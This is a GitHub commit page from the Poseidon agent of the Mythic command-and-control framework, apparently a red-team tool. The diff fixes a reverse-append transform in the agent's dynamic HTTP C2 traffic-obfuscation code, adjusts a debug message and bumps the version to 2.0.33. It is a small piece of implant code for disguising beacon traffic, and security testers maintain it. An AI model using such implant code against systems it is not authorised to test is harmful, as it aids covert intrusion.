Skip to content

Commit

Permalink
fix reverse append
Browse files Browse the repository at this point in the history
  • Loading branch information
its-a-feature committed Mar 29, 2024
1 parent 98411a9 commit a34d874
Show file tree
Hide file tree
Showing 4 changed files with 10 additions and 4 deletions.
6 changes: 6 additions & 0 deletions Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,12 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).

## 2.0.33 - 2024-03-29

### Changed

- fix reverse append function

## 2.0.32 - 2024-03-29

### Changed
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -559,7 +559,7 @@ func (c *C2HTTPx) transformAppendReverse(prev []byte, value string) ([]byte, err
if len(value) > len(prev) {
return nil, errors.New("append value is longer that full value")
}
return prev[:len(value)], nil
return prev[:len(prev)-len(value)], nil
}

func (c *C2HTTPx) transformXor(prev []byte, value string) ([]byte, error) {
Expand Down Expand Up @@ -734,7 +734,7 @@ func (c *C2HTTPx) CreateDynamicMessage(content []byte, isGetTaskingRequest bool)
}
var bodyBuffer *bytes.Buffer
var bodyBytes []byte
utils.PrintDebug(fmt.Sprintf("sending message: %s", string(content)))
utils.PrintDebug(fmt.Sprintf("original message message: %s", string(content)))
agentMessageBytes, err := c.performTransforms(content, variation)
if err != nil {
utils.PrintDebug(fmt.Sprintf("Failed to create message: %s", err.Error()))
Expand Down
2 changes: 1 addition & 1 deletion Payload_Type/poseidon/poseidon/agentfunctions/builder.go
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ import (
"strings"
)

const version = "2.0.32"
const version = "2.0.33"

var payloadDefinition = agentstructs.PayloadType{
Name: "poseidon",
Expand Down
2 changes: 1 addition & 1 deletion agent_capabilities.json
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,6 @@
"architectures": ["x86_64", "arm_64"],
"c2": ["http", "websocket", "dynamichttp", "poseidon_tcp"],
"mythic_version": "3.2.20-rc7",
"agent_version": "2.0.32",
"agent_version": "2.0.33",
"supported_wrappers": []
}

0 comments on commit a34d874

Please sign in to comment.